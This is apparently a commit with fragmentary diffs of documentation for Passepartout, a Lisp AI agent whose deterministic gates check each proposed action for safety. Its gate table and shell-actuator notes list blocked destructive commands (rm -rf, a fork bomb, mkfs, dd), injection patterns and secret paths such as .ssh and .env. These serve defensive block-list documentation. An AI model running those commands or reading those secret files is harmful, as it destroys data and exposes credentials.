v0.8.0: use exported text-input symbols (remove :: access)

The old inline reader only handled basic CSI sequences (up/down/left/right/
home/end) and treated everything else as Escape. cl-tty.input:read-event
handles CSI sequences with modifiers, SS3 function keys, kitty keyboard
protocol (disambiguate escape codes), UTF-8 input, and terminal resize.

Key-event structs are converted back to the keyword/integer format that
the existing case ch dispatch and on-key expect:
  - Ctrl+letter → :CTRL-X keyword
  - :page-up/:page-down → :ppage/:npage
  - Single-char keywords → printable character via code-char
  - Everything else → pass keyword through

Removed the separate resize check block since read-event handles it.

+* What is an AI Agent?
+
+An AI agent is a program that can act on your behalf — reading files, running commands, sending messages — rather than just answering questions. Unlike a chatbot that only produces text, an agent has /actuators/ that let it affect the world: a shell, a file editor, a message sender. See [[https://en.wikipedia.org/wiki/Software_agent][Software agent]] on Wikipedia.
+
+Passepartout is a /sovereign/ agent: it runs on your machine, operates on your plain-text files, and verifies every action through deterministic safety gates before execution.

 * What Makes Passepartout Different
 
 ** Every action is verified, not trusted.
 
-Most AI agents add safety checks as an afterthought — prompt-based guardrails that consume LLM tokens and can be evaded with clever phrasing. Passepartout inverts this: nine deterministic safety gates run in pure Lisp between the LLM's proposal and execution. Secret scanning checks for API key leaks. Path protection blocks reads and writes to sensitive files. Shell safety detects destructive commands and injection vectors. Network exfiltration detection flags unauthorized outbound connections. Lisp syntax validation catches malformed code before it writes to disk.

Passepartout inverts this: ten deterministic safety gates run in pure Lisp between the LLM's proposal and execution. Secret scanning checks for API key leaks. Path protection blocks reads and writes to sensitive files, including a self-build safety boundary that prevents the agent from modifying its own core pipeline without human review. Shell safety detects destructive commands and injection vectors. Network exfiltration detection flags unauthorized outbound connections. Lisp syntax validation catches malformed code before it writes to disk.
 
 Every gate costs 0 LLM tokens. Every gate is a Common Lisp function, not a prompt. Every gate runs for every action, unconditionally.
 
 If a gate blocks a proposal, the rejection feedback goes back to the LLM so it can self-correct and try again. If the deterministic Dispatcher is uncertain, it creates a Flight Plan — a human-readable Org buffer you review and approve. The human decides. The Dispatcher learns from your decision and writes a rule for next time.
 
-** The more you use it, the cheaper it gets.
+** The more you use it, the cheaper it gets (architectural aspiration)
 
-Passepartout has a downward cost curve. This runs counter to every other AI agent.
+Passepartout is designed with a downward cost curve — an architectural property, not yet measured empirically. Here is the thesis.
 
-Here is why. When you use Passepartout, the Dispatcher observes every blocked action and every human-approved exception. Each decision becomes a deterministic rule. A file write you approved once becomes an allowed path pattern. A shell command you denied becomes a permanent block. Each hardened rule means one fewer LLM call next time.

A file write you approved once becomes an allowed path pattern. A shell command you denied becomes a permanent block. Each hardened rule means one fewer LLM call next time. This rule-learning system is planned for v0.5.0.
 
 Meanwhile, the foveal-peripheral context model prunes your [[https://en.wikipedia.org/wiki/Memex][memex]] — your personal knowledge base, a term coined by Vannevar Bush in 1945 for a mechanised private library — to the relevant Org subtrees before sending anything to the LLM. The agent does not load your entire knowledge base, or even the entire file like agents that use Markdown do — it loads precisely the headlines that matter. Less context in, fewer tokens out.
 
-Other agents grow more expensive over time (context histories accumulate, safety instructions grow). Passepartout's cost curve bends down.
+These mechanisms are implemented and working today. Token cost measurement and optimization are tracked in the [[file:docs/ROADMAP.org][v0.5.0 Roadmap]]. Until empirically verified, the cost claims in [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] (2-3x fewer tokens for coding, 13-24x for knowledge management) should be read as architectural projections, not measured results.

-You can run Passepartout entirely on your hardware with a local LLM via Ollama or some other inference engine. No internet connection required. But unlike most local AI tools, offline mode does not mean safety-last. The nine deterministic safety gates are pure Common Lisp — they run identically whether you are online or off. The Merkle-tree memory with snapshot rollback is in-process, 0 milliseconds, 0 network calls. Semantic retrieval runs on in-image vectors, 0 LLM tokens per query.

When you use them, the model-tier router automatically selects the cheapest provider that matches your task's complexity. Privacy-tagged content stays local even when cloud providers are configured.

 * Philosophy
 Passepartout is built on a "Zero-Bloat" mandate. The core kernel is mathematically pure, pushing all peripheral logic, API integrations, and routing to hot-reloadable "Skills".
 
-* TDD Discipline (Red-Green-Refactor)
+* Development Workflow
 
-All code changes MUST follow this cycle:
+The full development cycle is described in ~AGENTS.md~. In summary:
 
-1. *Write a failing test* — capture the desired behavior as a FiveAM test
-   in a =* Test Suite= section within the relevant =.org= file
-2. *Prove it fails* — run =sbcl --eval "(asdf:test-system :passepartout)"=
-   and confirm the new test fails (RED) before writing implementation
-3. *Write the code* — modify the implementation in the same =.org= file
-4. *Prove it passes* — run the test suite again, confirm GREEN
-5. *Reflect* — ensure the test and code are both in the =.org= literate source
+1. *Think in org* — write reasoning and goals in the .org file
+2. *Write contract* — define each function's behavior in a ~** Contract~ section
+3. *TDD from contract* — each contract item becomes a ~fiveam:test~; prove RED then GREEN
+4. *Reflect in org* — ensure implementation is in .org source
+5. *Update literate prose* — explain the code: what, why, how it connects
 
-For *existing code* that lacks tests: write a characterization test that
-captures current behavior as the spec. Then refactor.
+* Literate Programming
 
-No test may be committed without proof it was first run to failure.
+~.org~ files in ~org/~ are the source of truth. ~lisp/~ files are generated by ~org-babel-tangle~.
 
-* Literate Granularity
-We strictly adhere to Literate Programming using Org-mode.
-- *Never* edit `.lisp` files in `src/` directly.
-- Modify the corresponding `.org` files in the `literate/` or `skills/` directories.
-- Run `org-babel-tangle` to generate the source code.
-- Every architectural decision, constraint, and implementation detail must be documented alongside the code in the `.org` file.
+- Never edit =lisp/= files directly — always modify the corresponding =org/= file
+- All ~#+begin_src lisp~ blocks in a file inherit their tangle destination from the file-level ~#+PROPERTY: header-args:lisp :tangle ../lisp/FILE.lisp~
+- Every architectural decision, constraint, and implementation detail must be documented alongside the code
+
+* Contracts and Tests
+
+Every code change starts with a contract and a failing test. Write a ~** Contract~ section listing each function's behavior, then create a ~fiveam:test~ in the ~* Test Suite~ section for each contract item.
+
+To run tests for a specific file:
+
+#+begin_src bash
+sbcl --noinform \
+  --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
+  --eval '(ql:quickload :passepartout :silent t)' \
+  --eval '(load "lisp/FILE.lisp")' \
+  --eval '(fiveam:run (intern "SUITE-NAME" :passepartout-TESTS))' --quit
+#+end_src
+
+No test may be committed without proof it was first run to failure (RED).
 
 * Skill Creation Standard
-Skills are the building blocks of Passepartout. They reside in the `skills/` directory.
 
-A skill must define:
-1. *Trigger*: A lambda determining if the skill should activate based on the context.
-2. *Probabilistic Gate*: Optional. Generates a prompt for the LLM.
-3. *Deterministic Gate*: A hardcoded Lisp function that guarantees safety or executes side-effects (the "Bouncer" pattern).
+A skill is a =.org= file in =org/= that defines:
 
-Example Registration:
+1. *Contract* — what the skill guarantees
+2. *Implementation* — the code, tangled to ~lisp/~ via ~#+PROPERTY: header-args:lisp~
+3. *Skill Registration* — a ~defskill~ form with ~:priority~, ~:trigger~, ~:probabilistic~ / ~:deterministic~
+4. *Test Suite* — ~fiveam:test~ forms verifying the contract
+
+Example:
 #+begin_src lisp
-(defskill :skill-example
+(defskill :passepartout-example
   :priority 100
   :trigger (lambda (ctx) ...)
-  :probabilistic nil
+  :probabilistic (lambda (ctx) ...)
   :deterministic (lambda (action ctx) ...))
 #+end_src
 
-* The Unified Envelope (Communication Protocol)
-All inter-process communication occurs via the Unified Envelope. Do not use legacy specific types like `:CHAT`.
-- Always use semantic types: `:REQUEST`, `:EVENT`, `:RESPONSE`, `:STATUS`, `:LOG`.
-- Include routing metadata in the `:META` block (e.g., `(:SOURCE :TUI)`).
-- Ensure generated `:REQUEST` messages include a mandatory `:TARGET` field.
+* Project Structure
 
-* Pull Request Process
-1. Choose an Org file and write a failing test in its =* Test Suite= section.
-2. Tangle and run to confirm RED (the test fails).
-3. Write the implementation in the same Org file, tangle, run to confirm GREEN.
-4. Ensure your working tree is clean.
-5. Run the full test suite: =sbcl --eval "(asdf:test-system :passepartout)"=.
-6. Submit a PR outlining the architectural intent and the specific Literate changes.

+
+* How Safety Works
+
+Passepartout enforces safety through ten deterministic gates. Every action the agent wants to take — reading a file, running a shell command, sending network traffic — passes through these gates before execution. Critically, all ten gates are pure Lisp functions: they cost zero LLM tokens to evaluate. Safety checking never touches your provider budget.
+
+** The Ten Safety Gates
+
+| Gate | What It Checks |
+|------+----------------|
+| Lisp syntax | Validates that any Lisp code is well-formed before evaluation |
+| Secret file paths | Blocks reads from known secret directories (~.ssh~, ~.env~, ~.aws~, etc.) |
+| Self-build core | Prevents modification of the agent's own source and build files |
+| Secret content | Scans text output for API keys, tokens, or credential patterns |
+| Vault secrets | Guards any secret stored in the encrypted vault |
+| Privacy tags | Respects ~@privacy:~ annotations on memory objects and files |
+| Privacy text leaks | Scans outgoing text for PII (emails, phone numbers, addresses) |
+| Shell safety | Blocks destructive commands (~rm -rf~, ~:(){:|:&};:~, ~mkfs~, ~dd~) |
+| Network exfiltration | Blocks outbound traffic carrying private data to unknown hosts |
+| High-impact actions | Catches system-level changes (package installs, service restarts, mount) |
+
+** Severity Tiers
+
+Each gate assigns a severity to the action it inspects:
+
+| Severity   | Behavior                                              |
+|------------+-------------------------------------------------------|
+| Catastrophic | Always blocked. No approval possible.                |
+| Dangerous    | Requires HITL approval. Generates a Flight Plan.    |
+| Moderate     | Allowed, but logged. The agent learns from the outcome. |
+| Harmless     | Always allowed. No logging overhead.                 |
+
+** What Happens When an Action Is Blocked
+
+When a gate blocks an action, the Dispatcher creates a Flight Plan — a structured record of what the agent wants to do, why it was blocked, and which gate triggered. The Flight Plan is presented to you for review. You can approve it (~/approve~), deny it (~/deny~), or ask the agent to clarify its intent (~/clarify~). Once you approve, the action executes immediately. Once you deny, the Dispatcher records the decision as a permanent rule and will never propose that action again.
+
+* Understanding Context and Focus
+
+Passepartout uses a foveal-peripheral context model, inspired by human vision. This is how the agent decides what to pay attention to in your Memex.
+
+** The Three Levels of Attention
+
+- ~/foveal/~ — What the agent reads deeply and reasons about right now. Anything you explicitly mention, plus the current focused project.
+- ~/peripheral/~ — What the agent knows exists (titles, summaries, metadata) but does not read in detail. Everything in scope.
+- ~/blind/~ — Outside scope. The agent cannot see or access it.
+
+** Focus Commands
+
+| Command             | Effect                                                  |
+|---------------------+---------------------------------------------------------|
+| ~/focus <project>~  | Set the agent's foveal attention to a project           |
+| ~/scope memex~      | Expand scope to everything in your Memex               |
+| ~/scope session~    | Narrow scope to just the current conversation           |
+| ~/scope project~    | Narrow scope to the focused project only               |
+| ~/unfocus~          | Clear the foveal focus; the agent sees everything at peripheral level |
+
+** The Focus Map
+
+The status bar displays a focus map — a compact representation of what the agent is "looking at." Projects in foveal view are highlighted; peripheral projects are dimmed. When you change focus, the map updates in real time so you always know the agent's current attention budget.
+
+* Skills and What They Do
+
+Skills are hot-reloadable modules that extend the agent's capabilities. Unlike core system files, a bug in a skill degrades the agent but does not kill it — skills can be repaired by the agent itself. Skills are organized into categories by function:
+
+** Core Pipeline
+The agent's cognitive loop: Perceive (consume input) → Reason (think with the LLM) → Act (execute tools). This is the central nervous system of the agent.
+
+** Security
+~Dispatcher~, ~Policy~, ~Permissions~, ~Validator~, ~Vault~. These skills enforce the safety gates, manage approval workflows, encrypt secrets, and verify that every action conforms to the rules you have set.
+
+** Channels
+~TUI~, ~CLI~, ~Telegram~, ~Signal~, ~Discord~, ~Slack~, ~Shell~. Each channel is a separate skill that handles I/O for a specific interface. All channels are equal citizens — the agent treats a message from Telegram identically to one typed in the TUI.
+
+** Programming
+~Lisp~, ~Org~, literate tools, ~REPL~, standards libraries. These skills allow the agent to write, evaluate, and reason about Lisp code, manage Org-mode documents, and tangle literate programs into runnable source.
+
+** Symbolic
+~Awareness~, ~Scope~, ~Events~, ~Config~, ~Memory~, ~Identity~, ~Time~. These skills manage the agent's internal state: what it knows about itself, what it remembers, how it configures its behavior, and how it tracks time and events.
+
+** Neuro
+~Provider~, ~Router~, ~Explorer~. These skills manage the LLM backends. The Provider skill abstracts each LLM API; the Router decides which provider to use based on cost, latency, and availability; the Explorer discovers new providers.
+
+** Embedding
+Backends for semantic search and native inference. These skills enable the agent to embed text, search your Memex by meaning rather than exact keyword, and run local inference without network calls.
+
+** Economics
+~Tokenizer~, ~Cost Tracker~, ~Token Economics~. These skills count tokens, estimate costs before making LLM calls, track spending across providers, and enforce budget limits.
+
+* The Tool System
+
+The agent has ten cognitive tools — discrete actions it can take to interact with your environment. Each tool maps to a specific capability.
+
+** Read-Only Tools
+
+| Tool              | What It Does                                |
+|-------------------+---------------------------------------------|
+| ~search-files~    | Search file contents with regex patterns    |
+| ~find-files~      | Find files by name using glob patterns      |
+| ~read-file~       | Read the contents of a file on disk         |
+| ~list-directory~  | List the contents of a directory            |
+| ~org-find-headline~ | Find a headline in an Org-mode file       |

+|-------------------+---------------------------------------------|
+| ~write-file~      | Create or overwrite a file on disk          |
+| ~org-modify-file~ | Modify an Org-mode file structurally        |
+| ~run-shell~       | Execute a shell command                     |
+| ~eval-form~       | Evaluate a Lisp expression                  |
+| ~run-tests~       | Execute a test suite                        |
+
+** Auto-Approval
+
+Write tools are subject to safety-gate inspection. Read-only tools are auto-approved by default (though the agent still checks for secret-file reads). You can configure per-tool auto-approval in your ~.env~ file with the ~AUTO_APPROVE_TOOLS~ variable:
+
+#+begin_src bash
+# Auto-approve read-file and find-files (default)
+AUTO_APPROVE_TOOLS=read-file,find-files,list-directory,search-files
+#+end_src
+
+* Cost Tracking
+
+Every LLM call costs tokens, and tokens cost money. Passepartout tracks this transparently.
+
+** Token Budgets
+
+Set ~CONTEXT_MAX_TOKENS~ in your ~.env~ file to cap the total context window the agent may use per interaction:
+
+#+begin_src bash
+CONTEXT_MAX_TOKENS=128000
+#+end_src
+
+The agent will truncate older context rather than exceed this limit.
+
+** Per-Call Cost Tracking
+
+Before every LLM call, the Economics skill estimates the cost (prompt tokens + expected completion tokens) and checks it against your budget. After the call, it records actual usage. The status bar shows your session total.
+
+** The ~/cost~ Command
+
+Toggle cost display in the status bar with ~/cost~. When enabled, you'll see a running total like ~[$0.047]~ showing the estimated cost of the current session.
+
+** Per-Provider Pricing
+
+Different providers charge different rates. The Router skill is aware of this and will choose the cheapest viable provider for each call unless you pin a specific provider:
+
+#+begin_src bash
+# Pin to a specific provider
+PROVIDER_CASCADE=anthropic
+#+end_src
+
+** Prompt Prefix Caching
+
+Providers that support prefix caching (Claude via Anthropic, some OpenRouter models) automatically benefit from it. The agent reuses the system prompt prefix across calls, and the Economics skill tracks the cache-hit savings separately in the cost breakdown.
+
+* Session Control
+
+Passepartout maintains a session history with checkpointed memory snapshots. You can move backward and forward through your session state.
+
+** Undo and Redo
+
+| Command      | Effect                                                   |
+|--------------+----------------------------------------------------------|
+| ~/undo~      | Restore the memory to the state before your last action  |
+| ~/redo~      | Re-apply the last undone action                          |
+| ~/rewind <n>~ | Restore the memory to the state n actions ago           |
+
+** What Gets Restored
+
+A session rewind restores three things: file changes (files written or modified are reverted), memory objects (the agent's internal knowledge), and TODO states (the roadmap and task tracking). This means you can safely let the agent explore and experiment — if it goes down a wrong path, rewind and redirect.
+
+* Gate Trace Reference
+
+Below every agent message in the TUI, you'll see colored lines representing the safety-gate trace for that message. These show you exactly which gates ran on the agent's actions and what happened.
+
+| Symbol | Meaning                                                    |
+|--------+------------------------------------------------------------|
+| ~✓~    | Green — the gate passed. The action was allowed.            |
+| ~✗~    | Red — the gate blocked the action. The reason is shown.     |
+| ~→~    | Yellow — HITL approval required. A Flight Plan is pending.  |
+
+Press ~Ctrl+G~ to toggle gate trace visibility on and off. The most recent gate trace for your last interaction is always available via the ~/why~ command — type ~/why~ and the agent will display the full trace with explanations.
+
+* Tag System
+
+Passepartout uses an Org-mode tag system to annotate and control behavior. Tags are metadata appended to headlines and memory objects.
+
+** Severity Tags
+
+The ~@tag:severity~ tier controls how strictly the safety system handles a tagged item:
+
+| Tag              | Behavior                                                     |
+|------------------+--------------------------------------------------------------|
+| ~@tag:block~     | The tagged item is treated as catastrophic — always blocked  |
+| ~@tag:warn~      | The tagged item triggers HITL approval when accessed         |
+| ~@tag:log~       | Access is allowed but logged for audit                       |
+
+** Tag Categories
+
+Configure which tags trigger which behavior with the ~TAG_CATEGORIES~ environment variable:
+
+#+begin_src bash
+TAG_CATEGORIES=block:warn:log
+#+end_src
+
+** The ~/tags~ Command
+
+Type ~/tags~ to list all tags currently active in the agent's scope, along with their severity levels and the files or memory objects they apply to.
+
+* HITL Deep Dive
+
+When the Safety system blocks an action, a structured workflow begins. Understanding this workflow helps you make informed approval decisions quickly.
+
+** The Flight Plan Lifecycle
+
+1. /Trigger/: A gate rates an action Dangerous or Catastrophic, or a ~@tag:warn~ tag is encountered.
+2. /Plan/: The Dispatcher serializes the proposed action into a Flight Plan: what tool, what arguments, what file or command, which gate triggered.
+3. /Display/: The TUI shows a yellow prompt with the Flight Plan token (~HITL-ab12~).
+4. /Review/: Press ~Tab~ to expand the gate trace and see the full Flight Plan details.
+5. /Decision/: You type ~/approve HITL-ab12~ or ~/deny HITL-ab12~.
+6. /Execute or Discard/: Approved plans execute immediately. Denied plans are discarded.
+7. /Learn/: The Dispatcher increments its rule counter and records the decision as a permanent rule. If you denied an action, the Dispatcher will never propose it again.
+
+** Clarifying Questions
+
+If you are unsure why the agent wants to perform an action, you can ignore the Flight Plan prompt. After three retries without a decision, the agent escalates by injecting a ~/clarify~ message into the pipeline, asking the agent to explain its intent in plain language. You can then approve or deny with full context.
+
+** The Rule Counter
+
+The status bar shows ~[Rules: N]~ — the number of permanent rules the Dispatcher has learned from your decisions. Each approval or denial is a learning event. Over time, the Dispatcher builds a personalized safety profile that reflects your preferences: which actions you always approve, which you always deny, and which you want to review case by case.
+
+* TUI Keybinding Reference
+
+The TUI supports a rich set of keyboard shortcuts for efficient interaction.
+
+** Editing Keys
+
+| Combo     | Action                                    |
+|-----------+-------------------------------------------|
+| ~Ctrl+D~  | Quit the TUI                              |

+| ~Down Arrow~     | Next input in command history                    |
+
+** The Status Bar
+
+The status bar at the bottom of the TUI shows the agent's current state at a glance. Each indicator has a specific meaning:
+
+| Indicator        | Meaning                                                            |
+|------------------+--------------------------------------------------------------------|
+| ~[Connected]~    | Green — daemon is reachable on port 9105. Gray — disconnected.     |
+| ~[Mode: TUI]~    | The current interaction mode (TUI, CLI, Telegram, etc.)            |
+| ~[Msg: 142]~     | Total messages in the current session                              |

+
+;; Author: Passepartout Project
+;; Version: 0.4.0
+;; Keywords: tools, processes, lisp
+;; URL: https://github.com/amrgharbeia/passepartout
+
+;;; Commentary:
+
+;; Connects to the Passepartout daemon on localhost:9105 via TCP.
+;; Speaks the framed plist protocol — 6-character hex length prefix
+;; followed by a prin1'd S-expression — identical to the TUI and CLI.
+;; The daemon does not know or care whether the client is the Croatoan
+;; TUI, the CLI, or Emacs.
+
+;; Framed protocol (per core-communication.org):
+;;   SEND: 6-char hex length + prin1'd plist
+;;   RECV: read 6-char header → parse hex length → read N bytes →
+;;         read-from-string (with read-eval nil on daemon side)
+
+;; Usage:
+;;   M-x passepartout RET        — connect to daemon, open response buffer
+;;   M-x passepartout-send-region — send selected region as user-input
+;;   M-x passepartout-send-buffer — send entire buffer

 * Overview
 The CLI Gateway is the simplest interface to Passepartout — raw stdin/stdout over TCP. It connects to the daemon's framed protocol and translates between terminal input/output and the plist-based communication format. No TUI, no ncurses, no dependencies beyond a TCP socket. Every other gateway (TUI, Emacs, Telegram) builds on this same protocol.
 
 ** Contract
 
-1. (gateway-cli-input text): wraps text in a ~:user-input~ envelope
+1. (channel-cli-input text): wraps text in a ~:user-input~ envelope
    with ~:source :CLI~ and injects into the pipeline via

+* Channel Discord
+
+Extracted from gateway-messaging in v0.5.0. Isolated platform — Discord-specific poll and send logic.
+
+* Overview
+
+The Discord channel provides bidirectional communication via the Discord REST API
+and Gateway WebSocket. Messages received from Discord channels are injected into
+the cognitive pipeline as ~:user-input~ signals with ~:source :discord~. Outbound
+messages route through the actuator registry when the pipeline targets ~:discord~.
+
+The channel uses two functions: ~discord-poll~ (inbound sensor, REST polling)
+and ~discord-send~ (outbound actuator, REST POST). Both retrieve the bot token
+from the credentials vault (~vault-get-secret :discord~). HITL commands are
+intercepted before injection so approval flows work identically across all channels.
+
+** Contract
+
+1. (discord-get-token): returns the Discord bot token from the vault
+   (via ~vault-get-secret :discord~), or nil if not configured.
+2. (discord-poll): polls configured channels via GET /channels/{id}/messages,
+   injects each non-bot message as a ~:user-input~ stimulus with
+   ~:source :discord~. Handles JSON parse failures and API errors
+   gracefully. HITL commands are intercepted before injection.
+3. (discord-send action context): sends a message via POST /channels/{id}/messages.
+   Extracts ~:channel-id~ and ~:text~ from the action plist. Uses bot token
+   authentication. Logs send failures without crashing the pipeline.

+
+* Overview: The Physical Actuator
+
+The Shell Actuator is the agent's hand in the physical world. Given a shell command, it executes it via ~bash -c~ and returns the output. This is how the agent installs packages, reads files, runs scripts, and interacts with any Unix tool.
+
+Because shell execution is the highest-risk operation in the system, the Shell Actuator is protected by multiple safety layers:
+1. The Dispatcher's shell safety gate blocks destructive commands (~rm -rf /~, ~dd~, ~mkfs~)
+2. The Dispatcher's injection gate blocks backtick and ~$()~ patterns
+3. The Dispatcher's network exfil gate blocks connections to unwhitelisted hosts
+4. The actuator enforces a timeout (default 30s) so hanging commands don't freeze the agent
+5. The actuator caps output (default 100KB) so infinite output doesn't exhaust memory
+6. (v0.4.3) When ~bwrap~ (Bubblewrap) is available, commands execute inside a Linux namespace sandbox with network and IPC isolation
+
+** Contract
+
+1. (bwrap-available-p): returns T if ~bwrap~ is installed and usable, NIL otherwise.
+   Cached at load time via ~which bwrap~.
+2. (bwrap-wrap-command cmd timeout memex-dir): returns a command list suitable for
+   ~uiop:run-program~ — wraps ~cmd~ in a ~bwrap~ sandbox with ~--unshare-net~,
+   ~--unshare-ipc~, ~--ro-bind~ for system dirs, and ~--bind~ for the memex and /tmp.
+3. (actuator-shell-execute action context): when ~bwrap~ is available, wraps the
+   command through the sandbox. When ~bwrap~ is unavailable, falls back to the
+   existing ~timeout bash -c~ behavior.

+#+TITLE: Channel Telegram (channel-telegram.org)

+
+* Channel Telegram
+
+Extracted from gateway-messaging in v0.5.0. Isolated platform — Telegram-specific poll and send logic.
+
+* Overview
+
+The Telegram channel provides bidirectional communication via the Telegram Bot
+API. Messages from Telegram chats are injected into the cognitive pipeline as
+~:user-input~ signals with ~:source :telegram~. Outbound messages route through
+the actuator registry when the pipeline targets ~:telegram~.
+
+The channel uses two functions: ~telegram-poll~ (inbound sensor, getUpdates
+with offset tracking) and ~telegram-send~ (outbound actuator, sendMessage).
+Both retrieve the bot token from the credentials vault. The polling offset
+(~:last-update-id~ in ~*gateway-configs*~) prevents duplicate processing across
+poll cycles. HITL commands are intercepted before injection so approval flows
+work identically across all channels.
+
+** Contract
+
+1. (telegram-get-token): returns the Telegram bot token from the vault
+   (via ~vault-get-secret :telegram~), or nil if not configured.
+2. (telegram-poll): polls getUpdates with offset tracking (prevents
+   duplicate processing), injects each message as a ~:user-input~ stimulus
+   with ~:source :telegram~. Updates ~:last-update-id~ per cycle. Handles
+   API and JSON parse errors gracefully. HITL commands are intercepted
+   before injection.
+3. (telegram-send action context): sends a message via sendMessage.
+   Extracts ~:chat-id~ and ~:text~ from the action plist. Logs send
+   failures without crashing the pipeline.
+
+* Implementation

+
+* Model
+
+The TUI state is a single plist accessed via ~st~ / ~(setf st)~.
+All state mutation flows through event handlers in the controller.
+
+** Contract
+
+1. (init-state): returns a fresh state plist with ~:msgs~ list,
+   ~:input~ buffer, ~:dirty~ flag, ~:busy~ flag, and ~:connection~ status.
+2. (add-msg role content &key gate-trace): appends a message object
+   to the ~:messages~ vector (v0.3.3), tagged with timestamp, role,
+   and optional gate-trace from the daemon (v0.4.0).
+3. (queue-event ev): thread-safely enqueues an event for the
+   reader loop. (drain-queue) returns and clears the queue.

+#+TITLE: Passepartout TUI — View
+#+PROPERTY: header-args:lisp :tangle /home/user/.local/share/passepartout/lisp/channel-tui-view.lisp
+
+* View
+
+|Pure render functions. Each takes the cl-tty backend and current state.
+|State is read via ~(st :key)~ — no mutation here.
+
+** Contract
+
+1. (view-status fb w h): no-op. Status bar is a clean black line.
+2. (view-chat fb w h): renders scrolled chat messages. User messages
+   get amber left border (│), agent messages no border, streaming
+   agent gets grey left border. Gate traces/tool calls use ╎ prefix.
+3. (view-input fb w h): renders expanding light grey input box,
+    multi-line word-wrapped prompt, Emacs-style reverse-video cursor,
+   right-aligned lowercase hint at h-2.
+4. (redraw fb w h): wraps view-status/chat/input in begin-sync/end-sync,
+   dispatches per dirty flags, fills global :bg first.
+5. ~cl-tty.box:char-width~ for terminal column width.
+   ASCII < 128 = 1. CJK, fullwidth, emoji = 2. Combining marks = 0.
+   Tab = 8. Used by word-wrap for accurate line counting (v0.7.0).
+6. (sidebar-visible-p w): returns T if sidebar should show given width W
+   and current :sidebar-mode (:auto >120, :visible always, :hidden never).
+
+** Status Bar
+
+The status bar, as of v0.4.0, renders Passepartout's three differentiator
+visualizations — data only available because of the deterministic gate
+architecture:
+
+- *Rule counter* (~Rules:N~): the number of pending HITL actions from the
+  Dispatcher's ~*hitl-pending*~ hash table. The user watches this tick up
+  as they teach the agent their preferences through approve/deny decisions.
+- *Focus map* (~[Focus: <id>]~): the foveal focus from the daemon's signal
+  context. Shows the user what the agent is currently looking at.
+- *Gate trace* (not rendered in status bar — attached to individual
+  messages via ~:gate-trace~ field for future collapsible rendering per
+  message).
+
+All three enrichments cost 0 LLM tokens — they are daemon-state queries
+that the TUI actuator attaches to the response plist before transmission.

+* Implementation — v0.7.0 additions

+
+~render-styled~ accepts a ~(text . plist)~ segment list from the span
+parser and emits ~draw-text~ calls. The ~w~ parameter is ignored (layout
+is line-at-a-time, not fixed-width); ~theme-color~ is fully qualified
+as ~passepartout.channel-tui:theme-color~ since this function lives in
+the ~passepartout~ package but the theme API is in ~passepartout.channel-tui~.
+
+The inline span parser (~parse-markdown-spans~) delegates punctuation
+delimiters (**bold**, `code`, *italic*) to a local ~pick~ helper.
+URLs are handled directly via ~url-end~ rather than through ~pick~,
+so the ~:url~ clause was removed from ~pick~'s ~case~ form to avoid
+dead code.

+** TUI Differentiator Enrichment (v0.4.0, extended v0.8.0)
+
+The TUI actuator is the last point in the pipeline before the response leaves the daemon. It enriches the action plist with fields that power the TUI's differentiator visualizations:
+
+- ~:rule-count~ = ~(hash-table-count *hitl-pending*)~ — the number of pending HITL actions. The user watches this counter tick as they teach the agent their preferences. (v0.4.0)
+- ~:foveal-id~ = the current foveal focus from the signal context — enables the TUI's focus map status line. (v0.4.0)
+- ~:gate-trace~ — already attached by ~cognitive-verify~, flows through the action plist unchanged. (v0.4.0)
+
+v0.8.0 adds four sidebar fields via ~fboundp~ guards — same pattern as
+~core-reason.lisp~'s calls into token-economics, awareness, and time skills.
+Each field degrades gracefully to nil when its source skill is not loaded:
+
+- ~:block-counts~ = ~(dispatcher-block-counts-summary)~ — per-gate block tallies from ~security-dispatcher~. Powers the sidebar's Protection panel.
+- ~:context-usage~ = ~(context-usage-percentage)~ — token budget percentage from ~token-economics~. Powers the sidebar's Context gauge.
+- ~:modified-files~ = ~(tool-modified-files-summary)~ — files modified this turn from ~programming-tools~. Powers the sidebar's Files panel.
+- ~:session-cost~ = ~(cost-session-summary)~ — cumulative cost data from ~cost-tracker~. Powers the sidebar's Cost panel.
+
+The enrichment is added inside the existing ~:tui~ actuator lambda (one block
+after the ~:rule-count~ and ~:foveal-id~ enrichment). No new actuator is
+registered; no new ASDF component is added. The contract is: each field
+arrives via ~fboundp~ guard and is silently nil when unavailable.

-* Overview: Architectural Intent
-
-The Reason stage is the cognitive heart of Passepartout. It takes a normalized signal from Perceive and produces an approved action for Act. This is where the two engines — probabilistic (LLM) and deterministic (Lisp logic) — collaborate.
-
-The design is shaped by one non-negotiable constraint: **the LLM must never touch the actuators directly.** Every action the LLM proposes must pass through a deterministic verification gate that has the final say. This is what separates Passepartout from every other AI agent: the creative brain suggests, but the logical brain decides.
-
-** The Probabilistic-Deterministic Split
-
-An LLM is a statistical engine. Given enough context, it is remarkably good at translation, generation, and pattern matching. But it cannot be trusted with authority because hallucination is a *fundamental property* of probabilistic inference — the model generates the most likely continuation, not the correct one.
-
-The deterministic engine addresses this by being what the probabilistic engine is not: mathematically rigorous, formally verifiable, and incapable of hallucination by design. It operates on explicit symbolic representations — lists, property lists, knowledge graphs — not on floating-point activations. When it evaluates a path confinement check, it returns true or false, not a probability distribution.
-
-The division of labor is architectural:
-- The LLM handles the fuzzy interface between human language and structured representation
-- The deterministic engine receives those structured representations and evaluates them against formal invariants
-- The LLM never reads a file, never executes a command, never modifies memory — it generates proposals
-
-This separation is the source of Passepartout's safety guarantee. Other agents add "guardrails" as an afterthought — a layer of filtering around a dangerous core. Passepartout makes the division explicit.

-** Why Plists for Communication?
-
-Every message in the Reason pipeline is a property list (plist):
-
-  (TYPE :REQUEST TARGET :CLI PAYLOAD (ACTION :MESSAGE TEXT "Hello"))
-
-A plist is simultaneously:
-- Human-readable text
-- Machine-parseable data structure
-- Executable Lisp code
-
-This is not a cosmetic choice. It means the reasoning pipeline can generate, modify, and execute its own communication protocol without external parsing libraries. There is no JSON encoder, no schema validator, no serialization layer between the two engines. They speak the same language because they *are* the same language.
-
-** Contract
-
-1. (cognitive-verify proposed-action context): runs all registered
-   deterministic gates sorted by priority. Returns a rejection plist
-   (~:LOG~ or ~:EVENT~) if any gate blocks the action, an
-   ~:approval-required~ event if a gate requires HITL, or the action
-   (potentially modified) if it passes.
-2. (loop-gate-reason signal): the full reason pipeline — only processes
-   ~:user-input~ and ~:chat-message~ sensors. Runs ~think~ to generate
-   a candidate, then ~cognitive-verify~ to gate it. Retries up to 3
-   times on rejection. Sets ~:status :reasoned~ on completion.
